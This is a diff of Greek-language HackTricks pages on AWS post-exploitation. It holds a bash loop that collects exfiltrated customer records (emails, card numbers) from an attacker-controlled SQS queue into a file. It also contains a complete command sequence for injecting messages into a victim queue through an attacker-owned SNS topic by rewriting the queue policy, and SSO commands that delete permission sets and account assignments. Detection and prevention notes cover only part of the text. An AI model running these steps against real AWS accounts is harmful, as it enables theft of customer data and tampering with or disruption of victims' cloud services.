4) **Συλλογή των κλεμμένων ευαίσθητων δεδομένων**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Δια-λογαριασμικές σημειώσεις
|
||||
- Η ουρά προορισμού πρέπει να έχει resource policy που επιτρέπει στον principal του θύματος να `sqs:SendMessage` (και, αν χρησιμοποιείται, KMS grants/permissions).
|
||||
|
||||
## Γιατί αυτή η επίθεση είναι αποτελεσματική
|
||||
|
||||
1. **Legitimate AWS Feature**: Uses built-in AWS functionality, making it hard to detect as malicious
|
||||
2. **Bulk Operation**: Transfers thousands of messages quickly instead of slow individual access
|
||||
3. **Historical Data**: DLQs accumulate sensitive data over weeks/months
|
||||
4. **Under the Radar**: Many organizations don't monitor DLQ access closely
|
||||
5. **Cross-Account Capable**: Can exfiltrate to attacker's own AWS account if permissions allow
|
||||
|
||||
## Ανίχνευση και Πρόληψη
|
||||
|
||||
### Ανίχνευση
|
||||
Παρακολουθήστε το CloudTrail για ύποπτες κλήσεις API `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Πρόληψη
|
||||
1. **Ελάχιστη Άδεια**: Περιορίστε τις άδειες `sqs:StartMessageMoveTask` μόνο στους απαραίτητους ρόλους
|
||||
2. **Παρακολούθηση DLQs**: Ρυθμίστε CloudWatch alarms για ασυνήθη δραστηριότητα στα DLQs
|
||||
3. **Πολιτικές Δια-Λογαριασμών**: Ελέγξτε προσεκτικά τις πολιτικές ουρών SQS που επιτρέπουν πρόσβαση από άλλους λογαριασμούς
|
||||
4. **Κρυπτογράφηση DLQs**: Χρησιμοποιήστε SSE-KMS με περιορισμένες πολιτικές κλειδιού
|
||||
5. **Τακτικός Καθαρισμός**: Μην αφήνετε ευαίσθητα δεδομένα να συσσωρεύονται στα DLQs επ' αόριστον
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+54
@@ -0,0 +1,54 @@
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Περιγραφή
|
||||
|
||||
Καταχράσου την resource policy της SQS queue ώστε ένα attacker-controlled SNS topic να δημοσιεύει μηνύματα σε μια victim SQS queue. Σε ίδιο account, μια SQS subscription σε ένα SNS topic επιβεβαιώνεται αυτόματα· σε cross-account, πρέπει να διαβάσεις το token SubscriptionConfirmation από την queue και να καλέσεις το ConfirmSubscription. Αυτό επιτρέπει ανεπιθύμητη message injection που οι downstream consumers μπορεί να εμπιστευτούν άθελά τους.
|
||||
|
||||
### Απαιτήσεις
|
||||
- Ικανότητα να τροποποιήσεις την target SQS queue resource policy: `sqs:SetQueueAttributes` στην victim queue.
|
||||
- Ικανότητα να δημιουργήσεις/δημοσιεύσεις σε ένα SNS topic υπό έλεγχο του attacker: `sns:CreateTopic`, `sns:Publish`, και `sns:Subscribe` στον attacker account/topic.
|
||||
- Μόνο cross-account: προσωρινό `sqs:ReceiveMessage` στην victim queue για να διαβάσεις το token επιβεβαίωσης και να καλέσεις `sns:ConfirmSubscription`.
|
||||
|
||||
### Εκμετάλλευση εντός του ίδιου account
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Create attacker SNS topic
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
|
||||
|
||||
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
|
||||
cat > /tmp/ht-sqs-sns-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
|
||||
# Provide the attribute as a JSON map so quoting works reliably
|
||||
cat > /tmp/ht-attrs.json <<JSON
|
||||
{
|
||||
"Policy": "REPLACE_POLICY_JSON"
|
||||
}
|
||||
JSON
|
||||
# Embed the policy file contents as a JSON string
|
||||
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
|
||||
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
|
||||
|
||||
# 4) Subscribe the queue to the topic (auto-confirms same-account)
|
||||
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
|
||||
|
||||
# 5) Publish and verify injection
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Σημειώσεις μεταξύ λογαριασμών
|
||||
- Η policy της ουράς παραπάνω πρέπει να επιτρέψει το ξένο `TOPIC_ARN` (λογαριασμός επιτιθέμενου).
|
||||
- Οι συνδρομές δεν επιβεβαιώνονται αυτόματα. Χορηγήστε στον εαυτό σας προσωρινά `sqs:ReceiveMessage` στην ουρά του θύματος για να διαβάσετε το μήνυμα `SubscriptionConfirmation` και στη συνέχεια καλέστε `sns confirm-subscription` με το `Token`.
|
||||
|
||||
### Επιπτώσεις
|
||||
**Πιθανή επίπτωση**: Συνεχής μη αιτηθείσα εισαγωγή μηνυμάτων σε αξιόπιστη SQS ουρά μέσω SNS, ενδεχομένως προκαλώντας ανεπιθύμητη επεξεργασία, ρύπανση δεδομένων ή κατάχρηση ροής εργασίας.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+6
-6
@@ -1,18 +1,18 @@
|
||||
# AWS - SSO & identitystore Post Exploitation
|
||||
# AWS - SSO & identitystore Μετά-Εκμετάλλευση
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
Αυτές οι άδειες μπορούν να χρησιμοποιηθούν για να διαταράξουν τις άδειες:
|
||||
Αυτά τα permissions μπορούν να χρησιμοποιηθούν για να διαταράξουν permissions:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user